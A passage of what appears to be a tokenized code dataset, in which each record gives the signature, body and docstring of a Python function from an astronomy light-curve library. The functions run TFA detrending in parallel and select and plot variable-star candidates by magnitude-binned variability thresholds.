lcproc.\n\n    interp : str\n        This is passed to scipy.interpolate.interp1d as the kind of\n        interpolation to use when reforming the light curves to the timebase of\n        the TFA templates.\n\n    sigclip : float or sequence of two floats or None\n        This is the sigma clip to apply to the light curves before running TFA\n        on it.\n\n    mintemplatedist_arcmin : float\n        This sets the minimum distance required from the target object for\n        objects in the TFA template ensemble. Objects closer than this distance\n        will be removed from the ensemble.\n\n    nworkers : int\n        The number of parallel workers to launch\n\n    maxworkertasks : int\n        The maximum number of tasks per worker allowed before it's replaced by a\n        fresh one.\n\n    Returns\n    -------\n\n    dict\n        Contains the input file names and output TFA light curve filenames per\n        input file organized by each `magcol` in `magcols`.", "id": "f14707:m6"}
{"signature": "def parallel_tfa_lcdir(lcdir,<EOL>templateinfo,<EOL>lcfileglob=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>interp='<STR_LIT>',<EOL>sigclip=<NUM_LIT>,<EOL>mintemplatedist_arcmin=<NUM_LIT>,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000>):", "body": "<EOL>if isinstance(templateinfo,str) and os.path.exists(templateinfo):<EOL><INDENT>with open(templateinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>templateinfo = pickle.load(infd)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if lcfileglob is None:<EOL><INDENT>lcfileglob = dfileglob<EOL><DEDENT>lclist = sorted(glob.glob(os.path.join(lcdir, lcfileglob)))<EOL>return parallel_tfa_lclist(<EOL>lclist,<EOL>templateinfo,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>lcformat=lcformat,<EOL>lcformatdir=None,<EOL>interp=interp,<EOL>sigclip=sigclip,<EOL>mintemplatedist_arcmin=mintemplatedist_arcmin,<EOL>nworkers=nworkers,<EOL>maxworkertasks=maxworkertasks<EOL>)<EOL>", "docstring": "This applies TFA in parallel to all LCs in a directory.\n\n    Parameters\n    ----------\n\n    lcdir : str\n        This is the directory containing the light curve files to process..\n\n    templateinfo : dict or str\n        This is either the dict produced by `tfa_templates_lclist` or the pickle\n        produced by the same function.\n\n    lcfileglob : str or None\n        The UNIX file glob to use when searching for light curve files in\n        `lcdir`. If None, the default file glob associated with registered LC\n        format provided is used.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in applying TFA corrections.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in applying TFA corrections.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in applying TFA corrections.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    interp : str\n        This is passed to scipy.interpolate.interp1d as the kind of\n        interpolation to use when reforming the light curves to the timebase of\n        the TFA templates.\n\n    sigclip : float or sequence of two floats or None\n        This is the sigma clip to apply to the light curves before running TFA\n        on it.\n\n    mintemplatedist_arcmin : float\n        This sets the minimum distance required from the target object for\n        objects in the TFA template ensemble. Objects closer than this distance\n        will be removed from the ensemble.\n\n    nworkers : int\n        The number of parallel workers to launch\n\n    maxworkertasks : int\n        The maximum number of tasks per worker allowed before it's replaced by a\n        fresh one.\n\n    Returns\n    -------\n\n    dict\n        Contains the input file names and output TFA light curve filenames per\n        input file organized by each `magcol` in `magcols`.", "id": "f14707:m7"}
{"signature": "def variability_threshold(featuresdir,<EOL>outfile,<EOL>magbins=DEFAULT_MAGBINS,<EOL>maxobjects=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>min_lcmad_stdev=<NUM_LIT>,<EOL>min_stetj_stdev=<NUM_LIT>,<EOL>min_iqr_stdev=<NUM_LIT>,<EOL>min_inveta_stdev=<NUM_LIT>,<EOL>verbose=True):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>pklist = glob.glob(os.path.join(featuresdir, '<STR_LIT>'))<EOL>if maxobjects:<EOL><INDENT>pklist = pklist[:maxobjects]<EOL><DEDENT>allobjects = {}<EOL>for magcol in magcols:<EOL><INDENT>if (isinstance(min_stetj_stdev, list) or<EOL>isinstance(min_stetj_stdev, np.ndarray)):<EOL><INDENT>magcol_min_stetj_stdev = min_stetj_stdev[::]<EOL><DEDENT>else:<EOL><INDENT>magcol_min_stetj_stdev = min_stetj_stdev<EOL><DEDENT>if (isinstance(min_iqr_stdev, list) or<EOL>isinstance(min_iqr_stdev, np.ndarray)):<EOL><INDENT>magcol_min_iqr_stdev = min_iqr_stdev[::]<EOL><DEDENT>else:<EOL><INDENT>magcol_min_iqr_stdev = min_iqr_stdev<EOL><DEDENT>if (isinstance(min_inveta_stdev, list) or<EOL>isinstance(min_inveta_stdev, np.ndarray)):<EOL><INDENT>magcol_min_inveta_stdev = min_inveta_stdev[::]<EOL><DEDENT>else:<EOL><INDENT>magcol_min_inveta_stdev = min_inveta_stdev<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL>allobjects[magcol] = {<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[]<EOL>}<EOL>if TQDM and verbose:<EOL><INDENT>listiterator = tqdm(pklist)<EOL><DEDENT>else:<EOL><INDENT>listiterator = pklist<EOL><DEDENT>for pkl in listiterator:<EOL><INDENT>with open(pkl,'<STR_LIT:rb>') as infd:<EOL><INDENT>thisfeatures = pickle.load(infd)<EOL><DEDENT>objectid = thisfeatures['<STR_LIT>']<EOL>if ('<STR_LIT:info>' in thisfeatures and<EOL>thisfeatures['<STR_LIT:info>'] and<EOL>'<STR_LIT>' in thisfeatures['<STR_LIT:info>']):<EOL><INDENT>if (thisfeatures['<STR_LIT:info>']['<STR_LIT>'] and<EOL>thisfeatures['<STR_LIT:info>']['<STR_LIT>'] > <NUM_LIT>):<EOL><INDENT>sdssr = thisfeatures['<STR_LIT:info>']['<STR_LIT>']<EOL><DEDENT>elif (magcol in thisfeatures and<EOL>thisfeatures[magcol] and<EOL>'<STR_LIT>' in thisfeatures[magcol] and<EOL>thisfeatures[magcol]['<STR_LIT>'] > <NUM_LIT>):<EOL><INDENT>sdssr = thisfeatures[magcol]['<STR_LIT>']<EOL><DEDENT>elif (thisfeatures['<STR_LIT:info>']['<STR_LIT>'] and<EOL>thisfeatures['<STR_LIT:info>']['<STR_LIT>'] and<EOL>thisfeatures['<STR_LIT:info>']['<STR_LIT>']):<EOL><INDENT>sdssr = jhk_to_sdssr(thisfeatures['<STR_LIT:info>']['<STR_LIT>'],<EOL>thisfeatures['<STR_LIT:info>']['<STR_LIT>'],<EOL>thisfeatures['<STR_LIT:info>']['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>sdssr = np.nan<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sdssr = np.nan<EOL><DEDENT>if (magcol in thisfeatures and<EOL>thisfeatures[magcol] and<EOL>thisfeatures[magcol]['<STR_LIT>']):<EOL><INDENT>lcmad = thisfeatures[magcol]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>lcmad = np.nan<EOL><DEDENT>if (magcol in thisfeatures and<EOL>thisfeatures[magcol] and<EOL>thisfeatures[magcol]['<STR_LIT>']):<EOL><INDENT>stetsonj = thisfeatures[magcol]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>stetsonj = np.nan<EOL><DEDENT>if (magcol in thisfeatures and<EOL>thisfeatures[magcol] and<EOL>thisfeatures[magcol]['<STR_LIT>']):<EOL><INDENT>iqr = thisfeatures[magcol]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>iqr = np.nan<EOL><DEDENT>if (magcol in thisfeatures and<EOL>thisfeatures[magcol] and<EOL>thisfeatures[magcol]['<STR_LIT>']):<EOL><INDENT>eta = thisfeatures[magcol]['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>eta = np.nan<EOL><DEDENT>allobjects[magcol]['<STR_LIT>'].append(objectid)<EOL>allobjects[magcol]['<STR_LIT>'].append(sdssr)<EOL>allobjects[magcol]['<STR_LIT>'].append(lcmad)<EOL>allobjects[magcol]['<STR_LIT>'].append(stetsonj)<EOL>allobjects[magcol]['<STR_LIT>'].append(iqr)<EOL>allobjects[magcol]['<STR_LIT>'].append(eta)<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL>allobjects[magcol]['<STR_LIT>'] = np.ravel(np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>))<EOL>allobjects[magcol]['<STR_LIT>'] = np.ravel(np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>))<EOL>allobjects[magcol]['<STR_LIT>'] = np.ravel(np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>))<EOL>allobjects[magcol]['<STR_LIT>'] = np.ravel(np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>))<EOL>allobjects[magcol]['<STR_LIT>'] = np.ravel(np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>))<EOL>allobjects[magcol]['<STR_LIT>'] = np.ravel(np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>))<EOL>thisfinind = (<EOL>np.isfinite(allobjects[magcol]['<STR_LIT>']) &<EOL>np.isfinite(allobjects[magcol]['<STR_LIT>']) &<EOL>np.isfinite(allobjects[magcol]['<STR_LIT>']) &<EOL>np.isfinite(allobjects[magcol]['<STR_LIT>']) &<EOL>np.isfinite(allobjects[magcol]['<STR_LIT>'])<EOL>)<EOL>allobjects[magcol]['<STR_LIT>'] = allobjects[magcol]['<STR_LIT>'][<EOL>thisfinind<EOL>]<EOL>allobjects[magcol]['<STR_LIT>'] = allobjects[magcol]['<STR_LIT>'][thisfinind]<EOL>allobjects[magcol]['<STR_LIT>'] = allobjects[magcol]['<STR_LIT>'][thisfinind]<EOL>allobjects[magcol]['<STR_LIT>'] = allobjects[magcol]['<STR_LIT>'][<EOL>thisfinind<EOL>]<EOL>allobjects[magcol]['<STR_LIT>'] = allobjects[magcol]['<STR_LIT>'][thisfinind]<EOL>allobjects[magcol]['<STR_LIT>'] = allobjects[magcol]['<STR_LIT>'][thisfinind]<EOL>allobjects[magcol]['<STR_LIT>'] = <NUM_LIT:1.0>/allobjects[magcol]['<STR_LIT>']<EOL>magbininds = np.digitize(allobjects[magcol]['<STR_LIT>'],<EOL>magbins)<EOL>binned_objectids = []<EOL>binned_sdssr = []<EOL>binned_sdssr_median = []<EOL>binned_lcmad = []<EOL>binned_stetsonj = []<EOL>binned_iqr = []<EOL>binned_inveta = []<EOL>binned_count = []<EOL>binned_objectids_thresh_stetsonj = []<EOL>binned_objectids_thresh_iqr = []<EOL>binned_objectids_thresh_inveta = []<EOL>binned_objectids_thresh_all = []<EOL>binned_lcmad_median = []<EOL>binned_lcmad_stdev = []<EOL>binned_stetsonj_median = []<EOL>binned_stetsonj_stdev = []<EOL>binned_inveta_median = []<EOL>binned_inveta_stdev = []<EOL>binned_iqr_median = []<EOL>binned_iqr_stdev = []<EOL>for mbinind, magi in zip(np.unique(magbininds),<EOL>range(len(magbins)-<NUM_LIT:1>)):<EOL><INDENT>thisbinind = np.where(magbininds == mbinind)<EOL>thisbin_sdssr_median = (magbins[magi] + magbins[magi+<NUM_LIT:1>])/<NUM_LIT><EOL>binned_sdssr_median.append(thisbin_sdssr_median)<EOL>thisbin_objectids = allobjects[magcol]['<STR_LIT>'][thisbinind]<EOL>thisbin_sdssr = allobjects[magcol]['<STR_LIT>'][thisbinind]<EOL>thisbin_lcmad = allobjects[magcol]['<STR_LIT>'][thisbinind]<EOL>thisbin_stetsonj = allobjects[magcol]['<STR_LIT>'][thisbinind]<EOL>thisbin_iqr = allobjects[magcol]['<STR_LIT>'][thisbinind]<EOL>thisbin_inveta = allobjects[magcol]['<STR_LIT>'][thisbinind]<EOL>thisbin_count = thisbin_objectids.size<EOL>if thisbin_count > <NUM_LIT:4>:<EOL><INDENT>thisbin_lcmad_median = np.median(thisbin_lcmad)<EOL>thisbin_lcmad_stdev = np.median(<EOL>np.abs(thisbin_lcmad - thisbin_lcmad_median)<EOL>) * <NUM_LIT><EOL>binned_lcmad_median.append(thisbin_lcmad_median)<EOL>binned_lcmad_stdev.append(thisbin_lcmad_stdev)<EOL>thisbin_stetsonj_median = np.median(thisbin_stetsonj)<EOL>thisbin_stetsonj_stdev = np.median(<EOL>np.abs(thisbin_stetsonj - thisbin_stetsonj_median)<EOL>) * <NUM_LIT><EOL>binned_stetsonj_median.append(thisbin_stetsonj_median)<EOL>binned_stetsonj_stdev.append(thisbin_stetsonj_stdev)<EOL>if isinstance(magcol_min_stetj_stdev, float):<EOL><INDENT>thisbin_objectids_thresh_stetsonj = thisbin_objectids[<EOL>thisbin_stetsonj > (<EOL>thisbin_stetsonj_median +<EOL>magcol_min_stetj_stdev*thisbin_stetsonj_stdev<EOL>)<EOL>]<EOL><DEDENT>elif (isinstance(magcol_min_stetj_stdev, np.ndarray) or<EOL>isinstance(magcol_min_stetj_stdev, list)):<EOL><INDENT>thisbin_min_stetj_stdev = magcol_min_stetj_stdev[magi]<EOL>if not np.isfinite(thisbin_min_stetj_stdev):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>thisbin_sdssr_median)<EOL>thisbin_min_stetj_stdev = <NUM_LIT><EOL>magcol_min_stetj_stdev[magi] = <NUM_LIT><EOL><DEDENT>thisbin_objectids_thresh_stetsonj = thisbin_objectids[<EOL>thisbin_stetsonj > (<EOL>thisbin_stetsonj_median +<EOL>thisbin_min_stetj_stdev*thisbin_stetsonj_stdev<EOL>)<EOL>]<EOL><DEDENT>thisbin_iqr_median = np.median(thisbin_iqr)<EOL>thisbin_iqr_stdev = np.median(<EOL>np.abs(thisbin_iqr - thisbin_iqr_median)<EOL>) * <NUM_LIT><EOL>binned_iqr_median.append(thisbin_iqr_median)<EOL>binned_iqr_stdev.append(thisbin_iqr_stdev)<EOL>if isinstance(magcol_min_iqr_stdev, float):<EOL><INDENT>thisbin_objectids_thresh_iqr = thisbin_objectids[<EOL>thisbin_iqr > (thisbin_iqr_median +<EOL>magcol_min_iqr_stdev*thisbin_iqr_stdev)<EOL>]<EOL><DEDENT>elif (isinstance(magcol_min_iqr_stdev, np.ndarray) or<EOL>isinstance(magcol_min_iqr_stdev, list)):<EOL><INDENT>thisbin_min_iqr_stdev = magcol_min_iqr_stdev[magi]<EOL>if not np.isfinite(thisbin_min_iqr_stdev):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>thisbin_sdssr_median)<EOL>thisbin_min_iqr_stdev = <NUM_LIT><EOL>magcol_min_iqr_stdev[magi] = <NUM_LIT><EOL><DEDENT>thisbin_objectids_thresh_iqr = thisbin_objectids[<EOL>thisbin_iqr > (thisbin_iqr_median +<EOL>thisbin_min_iqr_stdev*thisbin_iqr_stdev)<EOL>]<EOL><DEDENT>thisbin_inveta_median = np.median(thisbin_inveta)<EOL>thisbin_inveta_stdev = np.median(<EOL>np.abs(thisbin_inveta - thisbin_inveta_median)<EOL>) * <NUM_LIT><EOL>binned_inveta_median.append(thisbin_inveta_median)<EOL>binned_inveta_stdev.append(thisbin_inveta_stdev)<EOL>if isinstance(magcol_min_inveta_stdev, float):<EOL><INDENT>thisbin_objectids_thresh_inveta = thisbin_objectids[<EOL>thisbin_inveta > (<EOL>thisbin_inveta_median +<EOL>magcol_min_inveta_stdev*thisbin_inveta_stdev<EOL>)<EOL>]<EOL><DEDENT>elif (isinstance(magcol_min_inveta_stdev, np.ndarray) or<EOL>isinstance(magcol_min_inveta_stdev, list)):<EOL><INDENT>thisbin_min_inveta_stdev = magcol_min_inveta_stdev[magi]<EOL>if not np.isfinite(thisbin_min_inveta_stdev):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>thisbin_sdssr_median)<EOL>thisbin_min_inveta_stdev = <NUM_LIT><EOL>magcol_min_inveta_stdev[magi] = <NUM_LIT><EOL><DEDENT>thisbin_objectids_thresh_inveta = thisbin_objectids[<EOL>thisbin_inveta > (<EOL>thisbin_inveta_median +<EOL>thisbin_min_inveta_stdev*thisbin_inveta_stdev<EOL>)<EOL>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>thisbin_objectids_thresh_stetsonj = (<EOL>np.array([],dtype=np.unicode_)<EOL>)<EOL>thisbin_objectids_thresh_iqr = (<EOL>np.array([],dtype=np.unicode_)<EOL>)<EOL>thisbin_objectids_thresh_inveta = (<EOL>np.array([],dtype=np.unicode_)<EOL>)<EOL><DEDENT>thisbin_objectids_thresh_all = reduce(<EOL>np.intersect1d,<EOL>(thisbin_objectids_thresh_stetsonj,<EOL>thisbin_objectids_thresh_iqr,<EOL>thisbin_objectids_thresh_inveta)<EOL>)<EOL>binned_objectids.append(thisbin_objectids)<EOL>binned_sdssr.append(thisbin_sdssr)<EOL>binned_lcmad.append(thisbin_lcmad)<EOL>binned_stetsonj.append(thisbin_stetsonj)<EOL>binned_iqr.append(thisbin_iqr)<EOL>binned_inveta.append(thisbin_inveta)<EOL>binned_count.append(thisbin_objectids.size)<EOL>binned_objectids_thresh_stetsonj.append(<EOL>thisbin_objectids_thresh_stetsonj<EOL>)<EOL>binned_objectids_thresh_iqr.append(<EOL>thisbin_objectids_thresh_iqr<EOL>)<EOL>binned_objectids_thresh_inveta.append(<EOL>thisbin_objectids_thresh_inveta<EOL>)<EOL>binned_objectids_thresh_all.append(<EOL>thisbin_objectids_thresh_all<EOL>)<EOL><DEDENT>allobjects[magcol]['<STR_LIT>'] = magbins<EOL>allobjects[magcol]['<STR_LIT>'] = binned_objectids<EOL>allobjects[magcol]['<STR_LIT>'] = binned_sdssr_median<EOL>allobjects[magcol]['<STR_LIT>'] = binned_sdssr<EOL>allobjects[magcol]['<STR_LIT>'] = binned_count<EOL>allobjects[magcol]['<STR_LIT>'] = binned_lcmad<EOL>allobjects[magcol]['<STR_LIT>'] = binned_lcmad_median<EOL>allobjects[magcol]['<STR_LIT>'] = binned_lcmad_stdev<EOL>allobjects[magcol]['<STR_LIT>'] = binned_stetsonj<EOL>allobjects[magcol]['<STR_LIT>'] = binned_stetsonj_median<EOL>allobjects[magcol]['<STR_LIT>'] = binned_stetsonj_stdev<EOL>allobjects[magcol]['<STR_LIT>'] = binned_iqr<EOL>allobjects[magcol]['<STR_LIT>'] = binned_iqr_median<EOL>allobjects[magcol]['<STR_LIT>'] = binned_iqr_stdev<EOL>allobjects[magcol]['<STR_LIT>'] = binned_inveta<EOL>allobjects[magcol]['<STR_LIT>'] = binned_inveta_median<EOL>allobjects[magcol]['<STR_LIT>'] = binned_inveta_stdev<EOL>allobjects[magcol]['<STR_LIT>'] = (<EOL>binned_objectids_thresh_stetsonj<EOL>)<EOL>allobjects[magcol]['<STR_LIT>'] = (<EOL>binned_objectids_thresh_iqr<EOL>)<EOL>allobjects[magcol]['<STR_LIT>'] = (<EOL>binned_objectids_thresh_inveta<EOL>)<EOL>allobjects[magcol]['<STR_LIT>'] = (<EOL>binned_objectids_thresh_all<EOL>)<EOL>try:<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = np.unique(<EOL>np.concatenate(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>allobjects[magcol]['<STR_LIT>'] = (<EOL>np.array([])<EOL>)<EOL><DEDENT>allobjects[magcol]['<STR_LIT>'] = np.unique(<EOL>np.concatenate(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>)<EOL>)<EOL>allobjects[magcol]['<STR_LIT>'] = np.unique(<EOL>np.concatenate(allobjects[magcol]['<STR_LIT>'])<EOL>)<EOL>allobjects[magcol]['<STR_LIT>'] = np.unique(<EOL>np.concatenate(allobjects[magcol]['<STR_LIT>'])<EOL>)<EOL>if isinstance(min_stetj_stdev, list):<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = np.array(<EOL>magcol_min_stetj_stdev<EOL>)<EOL><DEDENT>else:<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = magcol_min_stetj_stdev<EOL><DEDENT>if isinstance(min_iqr_stdev, list):<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = np.array(<EOL>magcol_min_iqr_stdev<EOL>)<EOL><DEDENT>else:<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = magcol_min_iqr_stdev<EOL><DEDENT>if isinstance(min_inveta_stdev, list):<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = np.array(<EOL>magcol_min_inveta_stdev<EOL>)<EOL><DEDENT>else:<EOL><INDENT>allobjects[magcol]['<STR_LIT>'] = magcol_min_inveta_stdev<EOL><DEDENT>allobjects[magcol]['<STR_LIT>'] = min_lcmad_stdev<EOL><DEDENT>allobjects['<STR_LIT>'] = magbins<EOL>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(allobjects, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return allobjects<EOL>", "docstring": "This generates a list of objects with stetson J, IQR, and 1.0/eta\n    above some threshold value to select them as potential variable stars.\n\n    Use this to pare down the objects to review and put through\n    period-finding. This does the thresholding per magnitude bin; this should be\n    better than one single cut through the entire magnitude range. Set the\n    magnitude bins using the magbins kwarg.\n\n    FIXME: implement a voting classifier here. this will choose variables based\n    on the thresholds in IQR, stetson, and inveta based on weighting carried\n    over from the variability recovery sims.\n\n    Parameters\n    ----------\n\n    featuresdir : str\n        This is the directory containing variability feature pickles created by\n        :py:func:`astrobase.lcproc.lcpfeatures.parallel_varfeatures` or similar.\n\n    outfile : str\n        This is the output pickle file that will contain all the threshold\n        information.\n\n    magbins : np.array of floats\n        This sets the magnitude bins to use for calculating thresholds.\n\n    maxobjects : int or None\n        This is the number of objects to process. If None, all objects with\n        feature pickles in `featuresdir` will be processed.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the thresholds.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the thresholds.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the thresholds.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    min_lcmad_stdev,min_stetj_stdev,min_iqr_stdev,min_inveta_stdev : float or np.array\n        These are all the standard deviation multiplier for the distributions of\n        light curve standard deviation, Stetson J variability index, the light\n        curve interquartile range, and 1/eta variability index\n        respectively. These multipliers set the minimum values of these measures\n        to use for selecting variable stars. If provided as floats, the same\n        value will be used for all magbins. If provided as np.arrays of `size =\n        magbins.size - 1`, will be used to apply possibly different sigma cuts\n        for each magbin.\n\n    verbose : bool\n        If True, will report progress and warn about any problems.\n\n    Returns\n    -------\n\n    dict\n        Contains all of the variability threshold information along with indices\n        into the array of the object IDs chosen as variables.", "id": "f14708:m1"}
{"signature": "def plot_variability_thresholds(varthreshpkl,<EOL>xmin_lcmad_stdev=<NUM_LIT>,<EOL>xmin_stetj_stdev=<NUM_LIT>,<EOL>xmin_iqr_stdev=<NUM_LIT>,<EOL>xmin_inveta_stdev=<NUM_LIT>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>magcols=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>with open(varthreshpkl,'<STR_LIT:rb>') as infd:<EOL><INDENT>allobjects = pickle.load(infd)<EOL><DEDENT>magbins = allobjects['<STR_LIT>']<EOL>for magcol in magcols:<EOL><INDENT>min_lcmad_stdev = (<EOL>xmin_lcmad_stdev or allobjects[magcol]['<STR_LIT>']<EOL>)<EOL>min_stetj_stdev = (<EOL>xmin_stetj_stdev or allobjects[magcol]['<STR_LIT>']<EOL>)<EOL>min_iqr_stdev = (<EOL>xmin_iqr_stdev or allobjects[magcol]['<STR_LIT>']<EOL>)<EOL>min_inveta_stdev = (<EOL>xmin_inveta_stdev or allobjects[magcol]['<STR_LIT>']<EOL>)<EOL>fig = plt.figure(figsize=(<NUM_LIT:20>,<NUM_LIT:16>))<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>']*<NUM_LIT>,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:1.0>, linestyle='<STR_LIT:none>',<EOL>rasterized=True)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>np.array(allobjects[magcol]['<STR_LIT>'])*<NUM_LIT>,<EOL>linewidth=<NUM_LIT>)<EOL>plt.plot(<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>np.array(allobjects[magcol]['<STR_LIT>'])*<NUM_LIT> +<EOL>min_lcmad_stdev*np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>),<EOL>linewidth=<NUM_LIT>, linestyle='<STR_LIT>'<EOL>)<EOL>plt.xlim((magbins.min()-<NUM_LIT>, magbins.max()))<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel(r'<STR_LIT>')<EOL>plt.title('<STR_LIT>' % magcol)<EOL>plt.yscale('<STR_LIT>')<EOL>plt.tight_layout()<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:1.0>, linestyle='<STR_LIT:none>',<EOL>rasterized=True)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>linewidth=<NUM_LIT>)<EOL>plt.plot(<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>np.array(allobjects[magcol]['<STR_LIT>']) +<EOL>min_stetj_stdev*np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>),<EOL>linewidth=<NUM_LIT>, linestyle='<STR_LIT>'<EOL>)<EOL>plt.xlim((magbins.min()-<NUM_LIT>, magbins.max()))<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % magcol)<EOL>plt.yscale('<STR_LIT>')<EOL>plt.tight_layout()<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:1.0>, linestyle='<STR_LIT:none>',<EOL>rasterized=True)<EOL>plt.plot(allobjects[magcol]['<STR_LIT>'],<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>linewidth=<NUM_LIT>)<EOL>plt.plot(<EOL>allobjects[magcol]['<STR_LIT>'],<EOL>np.array(allobjects[magcol]['<STR_LIT>']) +<EOL>min_iqr_stdev*np.array(<EOL>allobjects[magcol]['<STR_LIT>']<EOL>),<EOL>linewidth=<NUM_LIT>, linestyle='<STR_LIT>'<EOL>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' % magcol)<EOL>plt.xlim((magbins.min()-<NUM_LIT>, 